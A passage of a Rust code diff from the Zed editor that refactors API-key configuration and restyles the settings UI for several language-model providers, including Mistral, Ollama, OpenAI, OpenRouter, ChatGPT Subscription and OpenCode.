+    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+        let state = self.state.read(cx);
+        Some(ApiKeyConfiguration {
+            has_key: state.api_key_state.has_key(),
+            is_from_env_var: state.api_key_state.is_from_env_var(),
+            env_var_name: state.api_key_state.env_var_name().clone(),
+            api_key_url: "https://console.mistral.ai/api-keys".into(),
+        })
+    }
+
+    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+        self.state
+            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
     }
 }
 
@@ -898,7 +889,7 @@ impl Render for ConfigurationView {
                 .size_full()
                 .gap_1()
                 .child(
-                    ConfiguredApiCard::new(configured_card_label)
+                    ConfiguredApiCard::new("mistral-reset-key", configured_card_label)
                         .disabled(env_var_set)
                         .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
                         .when(env_var_set, |this| {
diff --git a/crates/language_models/src/provider/ollama.rs b/crates/language_models/src/provider/ollama.rs
index 43a14c33e875f5..7bbc2ec18cdbe6 100644
--- a/crates/language_models/src/provider/ollama.rs
+++ b/crates/language_models/src/provider/ollama.rs
@@ -4,12 +4,12 @@ use credentials_provider::CredentialsProvider;
 use fs::Fs;
 use futures::{FutureExt, StreamExt, future::BoxFuture, stream::BoxStream};
 use futures::{Stream, TryFutureExt, stream};
-use gpui::{AnyView, App, AsyncApp, Context, CursorStyle, Entity, Task, TaskExt};
+use gpui::{AnyView, App, AsyncApp, Context, Entity, Task, TaskExt};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
-    ApiKeyState, AuthenticateError, DisabledReason, EnvVar, IconOrSvg, LanguageModel,
-    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId, LanguageModelName,
-    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
+    ApiKeyState, AuthenticateError, DisabledReason, EnvVar, IconOrSvg, InlineDescription,
+    LanguageModel, LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId,
+    LanguageModelName, LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
     LanguageModelProviderState, LanguageModelRequest, LanguageModelRequestTool,
     LanguageModelToolChoice, LanguageModelToolUse, LanguageModelToolUseId, MessageContent,
     RateLimiter, Role, StopReason, TokenUsage, env_var,
@@ -25,8 +25,7 @@ use std::pin::Pin;
 use std::sync::Arc;
 use std::sync::LazyLock;
 use ui::{
-    ButtonLike, ButtonLink, ConfiguredApiCard, ElevationIndex, List, ListBulletItem, Tooltip,
-    prelude::*,
+    ButtonLike, ButtonLink, ConfiguredApiCard, Divider, List, ListBulletItem, Tooltip, prelude::*,
 };
 use ui_input::InputField;
 
@@ -277,6 +276,12 @@ impl LanguageModelProvider for OllamaLanguageModelProvider {
         IconOrSvg::Icon(IconName::AiOllama)
     }
 
+    fn inline_description(&self, _cx: &App) -> Option<InlineDescription> {
+        Some(InlineDescription::Text(
+            "Run local models on your machine with Ollama.".into(),
+        ))
+    }
+
     fn default_model(&self, _: &App) -> Option<Arc<dyn LanguageModel>> {
         // We shouldn't try to select default model, because it might lead to a load call for an unloaded model.
         // In a constrained environment where user might not have enough resources it'll be a bad UX to select something
@@ -832,31 +837,43 @@ impl ConfigurationView {
     fn render_instructions(cx: &App) -> Div {
         v_flex()
             .gap_2()
-            .child(Label::new(
-                "Run LLMs locally on your machine with Ollama, or connect to an Ollama server. \
+            .child(
+                Label::new(
+                    "Run LLMs locally on your machine with Ollama, or connect to an Ollama server. \
                 Can provide access to Llama, Mistral, Gemma, and hundreds of other models.",
-            ))
-            .child(Label::new("To use local Ollama:"))
+                )
+                .color(Color::Muted),
+            )
+            .child(Label::new("To use local Ollama:").color(Color::Muted))
             .child(
                 List::new()
                     .child(
                         ListBulletItem::new("")
-                            .child(Label::new("Download and install Ollama from"))
+                            .child(
+                                Label::new("Download and install Ollama from").color(Color::Muted),
+                            )
                             .child(ButtonLink::new("ollama.com", "https://ollama.com/download")),
                     )
                     .child(
                         ListBulletItem::new("")
-                            .child(Label::new("Start Ollama and download a model:"))
+                            .child(
+                                Label::new("Start Ollama and download a model:")
+                                    .color(Color::Muted),
+                            )
                             .child(Label::new("ollama run gpt-oss:20b").inline_code(cx)),
                     )
-                    .child(ListBulletItem::new(
-                        "Click 'Connect' below to start using Ollama in Zed",
-                    )),
+                    .child(
+                        ListBulletItem::new("Click 'Connect' below to start using Ollama in Zed")
+                            .label_color(Color::Muted),
+                    ),
             )
-            .child(Label::new(
-                "Alternatively, you can connect to an Ollama server by specifying its \
+            .child(
+                Label::new(
+                    "Alternatively, you can connect to an Ollama server by specifying its \
                 URL and API key (may not be required):",
-            ))
+                )
+                .color(Color::Muted),
+            )
     }
 
     fn render_api_key_editor(&self, cx: &Context<Self>) -> impl IntoElement {
@@ -868,27 +885,30 @@ impl ConfigurationView {
             "API key configured".to_string()
         };
 
-        if !state.api_key_state.has_key() {
-            v_flex()
-              .on_action(cx.listener(Self::save_api_key))
-              .child(self.api_key_editor.clone())
-              .child(
-                  Label::new(
-                      format!("You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed.")
-                  )
-                  .size(LabelSize::Small)
-                  .color(Color::Muted),
-              )
-              .into_any_element()
+        let api_key_control = if !state.api_key_state.has_key() {
+            self.api_key_editor.clone().into_any_element()
         } else {
-            ConfiguredApiCard::new(configured_card_label)
+            ConfiguredApiCard::new("ollama-reset-key", configured_card_label)
                 .disabled(env_var_set)
                 .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
                 .when(env_var_set, |this| {
                     this.tooltip_label(format!("To reset your API key, unset the {API_KEY_ENV_VAR_NAME} environment variable."))
                 })
                 .into_any_element()
-        }
+        };
+
+        v_flex()
+          .on_action(cx.listener(Self::save_api_key))
+          .child(api_key_control)
+          .gap_1p5()
+          .mb_2()
+          .child(
+              Label::new(
+                  format!("You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed.")
+              )
+              .size(LabelSize::Small)
+              .color(Color::Muted),
+          )
     }
 
     fn render_context_window_editor(&self, cx: &Context<Self>) -> Div {
@@ -897,26 +917,26 @@ impl ConfigurationView {
 
         if custom_context_window_set {
             h_flex()
-                .p_3()
+                .p_1()
                 .justify_between()
                 .rounded_md()
                 .border_1()
-                .border_color(cx.theme().colors().border)
-                .bg(cx.theme().colors().elevated_surface_background)
+                .border_color(cx.theme().colors().border_variant)
+                .bg(cx.theme().colors().background.opacity(0.5))
                 .child(
                     h_flex()
-                        .gap_2()
+                        .gap_1()
                         .child(Icon::new(IconName::Check).color(Color::Success))
-                        .child(v_flex().gap_1().child(Label::new(format!(
+                        .child(Label::new(format!(
                             "Context Window: {}",
                             settings.context_window.unwrap()
-                        )))),
+                        ))),
                 )
                 .child(
                     Button::new("reset-context-window", "Reset")
+                        .style(ButtonStyle::Outlined)
                         .label_size(LabelSize::Small)
                         .start_icon(Icon::new(IconName::Undo).size(IconSize::Small))
-                        .layer(ElevationIndex::ModalSurface)
                         .on_click(
                             cx.listener(|this, _, window, cx| {
                                 this.reset_context_window(window, cx)
@@ -931,6 +951,7 @@ impl ConfigurationView {
                     }),
                 )
                 .child(self.context_window_editor.clone())
+                .gap_1p5()
                 .child(
                     Label::new("Default: Model specific")
                         .size(LabelSize::Small)
@@ -945,23 +966,23 @@ impl ConfigurationView {
 
         if custom_api_url_set {
             h_flex()
-                .p_3()
+                .p_1()
                 .justify_between()
                 .rounded_md()
                 .border_1()
-                .border_color(cx.theme().colors().border)
-                .bg(cx.theme().colors().elevated_surface_background)
+                .border_color(cx.theme().colors().border_variant)
+                .bg(cx.theme().colors().background.opacity(0.5))
                 .child(
                     h_flex()
-                        .gap_2()
+                        .gap_1()
                         .child(Icon::new(IconName::Check).color(Color::Success))
-                        .child(v_flex().gap_1().child(Label::new(api_url))),
+                        .child(Label::new(api_url)),
                 )
                 .child(
                     Button::new("reset-api-url", "Reset API URL")
+                        .style(ButtonStyle::Outlined)
                         .label_size(LabelSize::Small)
                         .start_icon(Icon::new(IconName::Undo).size(IconSize::Small))
-                        .layer(ElevationIndex::ModalSurface)
                         .on_click(
                             cx.listener(|this, _, window, cx| this.reset_api_url(window, cx)),
                         ),
@@ -984,15 +1005,18 @@ impl Render for ConfigurationView {
 
         v_flex()
             .gap_2()
+            .child(Headline::new("Ollama").size(HeadlineSize::Small))
             .child(Self::render_instructions(cx))
             .child(self.render_api_url_editor(cx))
             .child(self.render_context_window_editor(cx))
             .child(self.render_api_key_editor(cx))
+            .child(Divider::horizontal())
             .child(
                 h_flex()
+                    .pt_2()
                     .w_full()
                     .justify_between()
-                    .gap_2()
+                    .gap_1()
                     .child(
                         h_flex()
                             .w_full()
@@ -1001,7 +1025,8 @@ impl Render for ConfigurationView {
                                 if is_authenticated {
                                     this.child(
                                         Button::new("ollama-site", "Ollama")
-                                            .style(ButtonStyle::Subtle)
+                                            .style(ButtonStyle::OutlinedGhost)
+                                            .size(ButtonSize::Medium)
                                             .end_icon(
                                                 Icon::new(IconName::ArrowUpRight)
                                                     .size(IconSize::XSmall)
@@ -1013,7 +1038,8 @@ impl Render for ConfigurationView {
                                 } else {
                                     this.child(
                                         Button::new("download_ollama_button", "Download Ollama")
-                                            .style(ButtonStyle::Subtle)
+                                            .style(ButtonStyle::OutlinedGhost)
+                                            .size(ButtonSize::Medium)
                                             .end_icon(
                                                 Icon::new(IconName::ArrowUpRight)
                                                     .size(IconSize::XSmall)
@@ -1028,7 +1054,8 @@ impl Render for ConfigurationView {
                             })
                             .child(
                                 Button::new("view-models", "View All Models")
-                                    .style(ButtonStyle::Subtle)
+                                    .style(ButtonStyle::OutlinedGhost)
+                                    .size(ButtonSize::Medium)
                                     .end_icon(
                                         Icon::new(IconName::ArrowUpRight)
                                             .size(IconSize::XSmall)
@@ -1041,17 +1068,16 @@ impl Render for ConfigurationView {
                         if is_authenticated {
                             this.child(
                                 ButtonLike::new("connected")
-                                    .disabled(true)
-                                    .cursor_style(CursorStyle::Arrow)
+                                    .size(ButtonSize::Medium)
                                     .child(
                                         h_flex()
-                                            .gap_2()
+                                            .gap_1()
                                             .child(Icon::new(IconName::Check).color(Color::Success))
-                                            .child(Label::new("Connected"))
-                                            .into_any_element(),
+                                            .child(Label::new("Connected")),
                                     )
                                     .child(
                                         IconButton::new("refresh-models", IconName::RotateCcw)
+                                            .icon_size(IconSize::Small)
                                             .tooltip(Tooltip::text("Refresh Models"))
                                             .on_click(cx.listener(|this, _, window, cx| {
                                                 this.state.update(cx, |state, _| {
@@ -1064,6 +1090,8 @@ impl Render for ConfigurationView {
                         } else {
                             this.child(
                                 Button::new("retry_ollama_models", "Connect")
+                                    .style(ButtonStyle::Outlined)
+                                    .size(ButtonSize::Medium)
                                     .start_icon(
                                         Icon::new(IconName::PlayOutlined).size(IconSize::XSmall),
                                     )
diff --git a/crates/language_models/src/provider/open_ai.rs b/crates/language_models/src/provider/open_ai.rs
index a67a8741fcb15d..87be0e2751b867 100644
--- a/crates/language_models/src/provider/open_ai.rs
+++ b/crates/language_models/src/provider/open_ai.rs
@@ -5,11 +5,11 @@ use futures::{FutureExt, StreamExt, future::BoxFuture};
 use gpui::{AnyView, App, AsyncApp, Context, Entity, SharedString, Task, TaskExt, Window};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
-    ApiKeyState, AuthenticateError, EnvVar, FastModeConfirmation, IconOrSvg, LanguageModel,
-    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelEffortLevel,
-    LanguageModelId, LanguageModelName, LanguageModelProvider, LanguageModelProviderId,
-    LanguageModelProviderName, LanguageModelProviderState, LanguageModelRequest,
-    LanguageModelToolChoice, OPEN_AI_PROVIDER_ID, OPEN_AI_PROVIDER_NAME, ProviderConfigurationView,
+    ApiKeyConfiguration, ApiKeyState, AuthenticateError, EnvVar, FastModeConfirmation, IconOrSvg,
+    LanguageModel, LanguageModelCompletionError, LanguageModelCompletionEvent,
+    LanguageModelEffortLevel, LanguageModelId, LanguageModelName, LanguageModelProvider,
+    LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
+    LanguageModelRequest, LanguageModelToolChoice, OPEN_AI_PROVIDER_ID, OPEN_AI_PROVIDER_NAME,
     RateLimiter, env_var,
 };
 use menu;
@@ -219,28 +219,19 @@ impl LanguageModelProvider for OpenAiLanguageModelProvider {
             .update(cx, |state, cx| state.set_api_key(None, cx))
     }
 
-    fn configuration_view_v2(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> ProviderConfigurationView {
-        let state = self.state.clone();
-        ProviderConfigurationView::Inline(
-            cx.new(|cx| {
-                crate::ApiKeyEditor::new(
-                    state,
-                    "https://platform.openai.com/api-keys",
-                    "sk-...",
-                    |state, _cx| crate::api_key_status(&state.api_key_state),
-                    |state, key, cx| state.update(cx, |state, cx| state.set_api_key(Some(key), cx)),
-                    |state, cx| state.update(cx, |state, cx| state.set_api_key(None, cx)),
-                    window,
-                    cx,
-                )
-            })
-            .into(),
-        )
+    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+        let state = self.state.read(cx);
+        Some(ApiKeyConfiguration {
+            has_key: state.api_key_state.has_key(),
+            is_from_env_var: state.api_key_state.is_from_env_var(),
+            env_var_name: state.api_key_state.env_var_name().clone(),
+            api_key_url: "https://platform.openai.com/api-keys".into(),
+        })
+    }
+
+    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+        self.state
+            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
     }
 
     fn fast_mode_confirmation(&self, _cx: &App) -> Option<FastModeConfirmation> {
@@ -728,7 +719,7 @@ impl Render for ConfigurationView {
                 )
                 .into_any_element()
         } else {
-            ConfiguredApiCard::new(configured_card_label)
+            ConfiguredApiCard::new("openai-reset-key", configured_card_label)
                 .disabled(env_var_set)
                 .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
                 .when(env_var_set, |this| {
diff --git a/crates/language_models/src/provider/open_router.rs b/crates/language_models/src/provider/open_router.rs
index 979022a8878ee6..f41e04972d0594 100644
--- a/crates/language_models/src/provider/open_router.rs
+++ b/crates/language_models/src/provider/open_router.rs
@@ -5,12 +5,12 @@ use futures::{FutureExt, Stream, StreamExt, future::BoxFuture};
 use gpui::{AnyView, App, AsyncApp, Context, Entity, SharedString, Task, TaskExt};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
-    ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel, LanguageModelCompletionError,
-    LanguageModelCompletionEvent, LanguageModelId, LanguageModelName, LanguageModelProvider,
-    LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
-    LanguageModelRequest, LanguageModelToolChoice, LanguageModelToolResultContent,
-    LanguageModelToolSchemaFormat, LanguageModelToolUse, MessageContent, ProviderConfigurationView,
-    RateLimiter, Role, StopReason, TokenUsage, env_var,
+    ApiKeyConfiguration, ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel,
+    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId, LanguageModelName,
+    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
+    LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
+    LanguageModelToolResultContent, LanguageModelToolSchemaFormat, LanguageModelToolUse,
+    MessageContent, RateLimiter, Role, StopReason, TokenUsage, env_var,
 };
 use open_router::{
     Model, ModelMode as OpenRouterModelMode, OPEN_ROUTER_API_URL, ResponseStreamEvent, list_models,
@@ -274,28 +274,19 @@ impl LanguageModelProvider for OpenRouterLanguageModelProvider {
             .update(cx, |state, cx| state.set_api_key(None, cx))
     }
 
-    fn configuration_view_v2(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> ProviderConfigurationView {
-        let state = self.state.clone();
-        ProviderConfigurationView::Inline(
-            cx.new(|cx| {
-                crate::ApiKeyEditor::new(
-                    state,
-                    "https://openrouter.ai/keys",
-                    "sk-or-...",
-                    |state, _cx| crate::api_key_status(&state.api_key_state),
-                    |state, key, cx| state.update(cx, |state, cx| state.set_api_key(Some(key), cx)),
-                    |state, cx| state.update(cx, |state, cx| state.set_api_key(None, cx)),
-                    window,
-                    cx,
-                )
-            })
-            .into(),
-        )
+    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+        let state = self.state.read(cx);
+        Some(ApiKeyConfiguration {
+            has_key: state.api_key_state.has_key(),
+            is_from_env_var: state.api_key_state.is_from_env_var(),
+            env_var_name: state.api_key_state.env_var_name().clone(),
+            api_key_url: "https://openrouter.ai/keys".into(),
+        })
+    }
+
+    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+        self.state
+            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
     }
 }
 
@@ -1019,7 +1010,7 @@ impl Render for ConfigurationView {
                 )
                 .into_any_element()
         } else {
-            ConfiguredApiCard::new(configured_card_label)
+            ConfiguredApiCard::new("openrouter-reset-key", configured_card_label)
                 .disabled(env_var_set)
                 .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
                 .when(env_var_set, |this| {
diff --git a/crates/language_models/src/provider/openai_subscribed.rs b/crates/language_models/src/provider/openai_subscribed.rs
index f63268e60e242a..2b09032ca515f2 100644
--- a/crates/language_models/src/provider/openai_subscribed.rs
+++ b/crates/language_models/src/provider/openai_subscribed.rs
@@ -9,11 +9,11 @@ use http_client::{
     http::{HeaderName, HeaderValue},
 };
 use language_model::{
-    AuthenticateError, FastModeConfirmation, IconOrSvg, LanguageModel,
+    AuthenticateError, FastModeConfirmation, IconOrSvg, InlineDescription, LanguageModel,
     LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelEffortLevel,
     LanguageModelId, LanguageModelName, LanguageModelProvider, LanguageModelProviderId,
     LanguageModelProviderName, LanguageModelProviderState, LanguageModelRequest,
-    LanguageModelToolChoice, RateLimiter,
+    LanguageModelToolChoice, ProviderConfigurationView, RateLimiter,
 };
 use open_ai::{ReasoningEffort, responses::stream_response};
 use rand::RngCore as _;
@@ -31,6 +31,9 @@ const PROVIDER_ID: LanguageModelProviderId = LanguageModelProviderId::new("opena
 const PROVIDER_NAME: LanguageModelProviderName =
     LanguageModelProviderName::new("ChatGPT Subscription");
 
+const SUBSCRIPTION_DESCRIPTION: &str =
+    "Sign in with your ChatGPT Plus or Pro subscription to use OpenAI models in Zed's agent.";
+
 const CODEX_BASE_URL: &str = "https://chatgpt.com/backend-api/codex";
 const OPENAI_TOKEN_URL: &str = "https://auth.openai.com/oauth/token";
 const OPENAI_AUTHORIZE_URL: &str = "https://auth.openai.com/oauth/authorize";
@@ -248,8 +251,48 @@ impl LanguageModelProvider for OpenAiSubscribedProvider {
     ) -> AnyView {
         let state = self.state.clone();
         let http_client = self.http_client.clone();
-        cx.new(|_cx| ConfigurationView { state, http_client })
-            .into()
+        cx.new(|_cx| ConfigurationView {
+            state,
+            http_client,
+            compact: false,
+        })
+        .into()
+    }
+
+    fn configuration_view_v2(
+        &self,
+        _target_agent: language_model::ConfigurationViewTargetAgent,
+        _window: &mut Window,
+        cx: &mut App,
+    ) -> ProviderConfigurationView {
+        let state = self.state.clone();
+        let http_client = self.http_client.clone();
+
+        ProviderConfigurationView::Inline {
+            view: cx
+                .new(|_cx| ConfigurationView {
+                    state,
+                    http_client,
+                    compact: true,
+                })
+                .into(),
+        }
+    }
+
+    fn inline_title(&self, cx: &App) -> Option<SharedString> {
+        if self.state.read(cx).is_authenticated() {
+            None
+        } else {
+            Some("Configure ChatGPT".into())
+        }
+    }
+
+    fn inline_description(&self, cx: &App) -> Option<InlineDescription> {
+        if self.state.read(cx).is_authenticated() {
+            None
+        } else {
+            Some(InlineDescription::Text(SUBSCRIPTION_DESCRIPTION.into()))
+        }
     }
 
     fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
@@ -1043,6 +1086,9 @@ fn do_sign_out(state: &gpui::WeakEntity<State>, cx: &mut App) -> Task<Result<()>
 struct ConfigurationView {
     state: Entity<State>,
     http_client: Arc<dyn HttpClient>,
+    /// When `true`, the description is rendered elsewhere (the settings row's
+    /// left column), so it's omitted here to avoid duplication.
+    compact: bool,
 }
 
 impl Render for ConfigurationView {
@@ -1059,7 +1105,7 @@ impl Render for ConfigurationView {
 
             return v_flex()
                 .child(
-                    ConfiguredApiCard::new(SharedString::from(label))
+                    ConfiguredApiCard::new("openai-subscribed-sign-out", SharedString::from(label))
                         .button_label("Sign Out")
                         .on_click(cx.listener(move |_this, _, _window, cx| {
                             do_sign_out(&weak_state, cx).detach_and_log_err(cx);
@@ -1076,27 +1122,21 @@ impl Render for ConfigurationView {
         let button_label = if is_signing_in {
             "Signing in…"
         } else {
-            "Sign in to use ChatGPT Subscription"
+            "Sign In"
         };
 
         v_flex()
             .gap_2()
-            .child(Label::new(
-                "Sign in with your ChatGPT Plus or Pro subscription to use OpenAI models in Zed's agent.",
-            ))
+            .when(!self.compact, |this| {
+                this.child(Label::new(SUBSCRIPTION_DESCRIPTION))
+            })
             .child(
                 Button::new("sign-in", button_label)
-                    .full_width()
+                    .when(!self.compact, |this| this.full_width())
                     .style(ButtonStyle::Outlined)
+                    .size(ButtonSize::Medium)
                     .loading(is_signing_in)
                     .disabled(is_signing_in)
-                    .when(!is_signing_in, |this| {
-                        this.start_icon(
-                            Icon::new(IconName::AiOpenAi)
-                                .size(IconSize::Small)
-                                .color(Color::Muted),
-                        )
-                    })
                     .on_click(move |_, _window, cx| {
                         do_sign_in(&provider_state, &http_client, cx);
                     }),
diff --git a/crates/language_models/src/provider/opencode.rs b/crates/language_models/src/provider/opencode.rs
index 9a5dbcdfccb40a..f75c71e425b9a8 100644
--- a/crates/language_models/src/provider/opencode.rs
+++ b/crates/language_models/src/provider/opencode.rs
@@ -6,11 +6,11 @@ use futures::{FutureExt, StreamExt, future::BoxFuture};
 use gpui::{AnyView, App, AsyncApp, Context, Entity, SharedString, Task, TaskExt, Window};
 use http_client::{AsyncBody, CustomHeaders, HttpClient, http};
 use language_model::{
-    ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel, LanguageModelCompletionError,
-    LanguageModelCompletionEvent, LanguageModelEffortLevel, LanguageModelId, LanguageModelName,
-    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
-    LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice, RateLimiter,
-    ReasoningEffort, env_var,
+    ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, InlineDescription, LanguageModel,
+    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelEffortLevel,
+    LanguageModelId, LanguageModelName, LanguageModelProvider, LanguageModelProviderId,
+    LanguageModelProviderName, LanguageModelProviderState, LanguageModelRequest,
+    LanguageModelToolChoice, RateLimiter, ReasoningEffort, env_var,
 };
 use opencode::{ApiProtocol, OPENCODE_API_URL, OpenCodeSubscription};
 pub use settings::OpenCodeAvailableModel as AvailableModel;
@@ -18,7 +18,7 @@ use settings::{Settings, SettingsStore, update_settings_file};
 use std::sync::{Arc, LazyLock};
 use strum::IntoEnumIterator;
 use ui::{
-    Banner, ButtonLink, ConfiguredApiCard, List, ListBulletItem, Severity, Switch,
+    Banner, ButtonLink, ConfiguredApiCard, Divider, List, ListBulletItem, Severity, Switch,
     SwitchLabelPosition, ToggleState, prelude::*,
 };
 use ui_input::InputField;
@@ -200,6 +200,12 @@ impl LanguageModelProvider for OpenCodeLanguageModelProvider {
         IconOrSvg::Icon(IconName::AiOpenCode)
     }
 
+    fn inline_description(&self, _cx: &App) -> Option<InlineDescription> {
+        Some(InlineDescription::Text(
+            "To use OpenCode models in Zed, you need an API key.".into(),
+        ))
+    }
+
     fn default_model(&self, cx: &App) -> Option<Arc<dyn LanguageModel>> {
         if Self::subscription_enabled(OpenCodeSubscription::Go, cx) {
             // If both Go and Zen are enabled, prefer Go since it's not pay-as-you-go
@@ -859,37 +865,12 @@ impl Render for ConfigurationView {
             }
         };
 
-        let api_key_section = if self.should_render_editor(cx) {
-            v_flex()
-                .on_action(cx.listener(Self::save_api_key))
-                .child(Label::new(
-                    "To use OpenCode models in Zed, you need an API key:",
-                ))
-                .child(
-                    List::new()
-                        .child(
-                            ListBulletItem::new("")
-                                .child(Label::new("Sign in and get your key at"))
-                                .child(ButtonLink::new(
-                                    "OpenCode Console",
-                                    "https://opencode.ai/auth",
-                                )),
-                        )
-                        .child(ListBulletItem::new(
-                            "Paste your API key below and hit enter to start using OpenCode",
-                        )),
-                )
-                .child(self.api_key_editor.clone())
-                .child(
-                    Label::new(format!(
-                        "You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed."
-                    ))
-                    .size(LabelSize::Small)
-                    .color(Color::Muted),
-                )
-                .into_any_element()
+        let is_editing = self.should_render_editor(cx);
+
+        let api_key_control = if is_editing {
+            self.api_key_editor.clone().into_any_element()
         } else {
-            ConfiguredApiCard::new(configured_card_label)
+            ConfiguredApiCard::new("opencode-reset-key", configured_card_label)
                 .disabled(env_var_set)
                 .when(env_var_set, |this| {
                     this.tooltip_label(format!(
@@ -900,8 +881,39 @@ impl Render for ConfigurationView {
                 .into_any_element()
         };
 
+        let api_key_section = v_flex()
+            .on_action(cx.listener(Self::save_api_key))
+            .child(Label::new(
+                "To use OpenCode models in Zed, you need an API key:",
+            ).color(Color::Muted))
+            .child(
+                List::new()
+                    .child(
+                        ListBulletItem::new("")
+                            .child(Label::new("Sign in and get your key at").color(Color::Muted))
+                            .child(ButtonLink::new(
+                                "OpenCode Console",
+                                "https://opencode.ai/auth",
+                            )),
+                    )
+                    .when(is_editing, |this| {
+                        this.child(ListBulletItem::new(
+                            "Paste your API key below and hit enter to start using OpenCode",
+                        ).label_color(Color::Muted))
+                    }),
+            )
+            .child(api_key_control)
+            .child(
+                Label::new(format!(
+                    "You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed."
+                ))
+                .size(LabelSize::Small)
+                .color(Color::Muted).mt_1p5(),
+            )
+            .into_any_element();
+
         if self.load_credentials_task.is_some() {
-            div().child(Label::new("Loading credentials...")).into_any()
+            Label::new("Loading Credentials…").into_any_element()
         } else {
             let settings = OpenCodeLanguageModelProvider::settings(cx);
             let show_zen = settings.show_zen_models;
@@ -909,12 +921,13 @@ impl Render for ConfigurationView {
             let show_free = settings.show_free_models;
 
             let subscription_toggles = v_flex()
-                .gap_1()
-                .child(Label::new("Subscriptions:").color(Color::Muted))
+                .gap_2()
+                .child(Label::new("Subscriptions"))
                 .child(
                     Switch::new("opencode-show-zen-models", show_zen.into())
-                        .label("Show Zen models")
-                        .label_position(SwitchLabelPosition::End)
+                        .full_width(true)
+                        .label("Show Zen Models")
+                        .label_position(SwitchLabelPosition::Start)
                         .on_click(cx.listener(|this, state, window, cx| {
                             this.set_subscription_enabled(
                                 OpenCodeSubscription::Zen,
@@ -924,10 +937,12 @@ impl Render for ConfigurationView {
                             );
                         })),
                 )
+                .child(Divider::horizontal_dashed())
                 .child(
                     Switch::new("opencode-show-go-models", show_go.into())
+                        .full_width(true)
                         .label("Show Go models")
-                        .label_position(SwitchLabelPosition::End)
+                        .label_position(SwitchLabelPosition::Start)
                         .on_click(cx.listener(|this, state, window, cx| {
                             this.set_subscription_enabled(
                                 OpenCodeSubscription::Go,
@@ -937,10 +952,12 @@ impl Render for ConfigurationView {
                             );
                         })),
                 )
+                .child(Divider::horizontal_dashed())
                 .child(
                     Switch::new("opencode-show-free-models", show_free.into())
+                        .full_width(true)
                         .label("Show Free models")
-                        .label_position(SwitchLabelPosition::End)
+                        .label_position(SwitchLabelPosition::Start)
                         .on_click(cx.listener(|this, state, window, cx| {
                             this.set_subscription_enabled(
                                 OpenCodeSubscription::Free,
@@ -961,8 +978,10 @@ impl Render for ConfigurationView {
 
             v_flex()
                 .size_full()
-                .gap_2()
+                .gap_2p5()
+                .child(Headline::new("OpenCode").size(HeadlineSize::Small))
                 .child(api_key_section)
+                .child(Divider::horizontal())
                 .child(subscription_toggles)
                 .children(no_subscriptions_warning)
                 .into_any()
diff --git a/crates/language_models/src/provider/vercel_ai_gateway.rs b/crates/language_models/src/provider/vercel_ai_gateway.rs
index d319538bc431c3..dcceffe22e7f0f 100644
--- a/crates/language_models/src/provider/vercel_ai_gateway.rs
+++ b/crates/language_models/src/provider/vercel_ai_gateway.rs
@@ -7,11 +7,11 @@ use http_client::{
     AsyncBody, CustomHeaders, HttpClient, Method, Request as HttpRequest, RequestBuilderExt, http,
 };
 use language_model::{
-    ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel, LanguageModelCompletionError,
-    LanguageModelCompletionEvent, LanguageModelId, LanguageModelName, LanguageModelProvider,
-    LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
-    LanguageModelRequest, LanguageModelToolChoice, LanguageModelToolSchemaFormat,
-    ProviderConfigurationView, RateLimiter, env_var,
+    ApiKeyConfiguration, ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel,
+    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId, LanguageModelName,
+    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
+    LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
+    LanguageModelToolSchemaFormat, RateLimiter, env_var,
 };
 use open_ai::ResponseStreamEvent;
 use serde::Deserialize;
@@ -261,28 +261,21 @@ impl LanguageModelProvider for VercelAiGatewayLanguageModelProvider {
             .update(cx, |state, cx| state.set_api_key(None, cx))
     }
 
-    fn configuration_view_v2(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
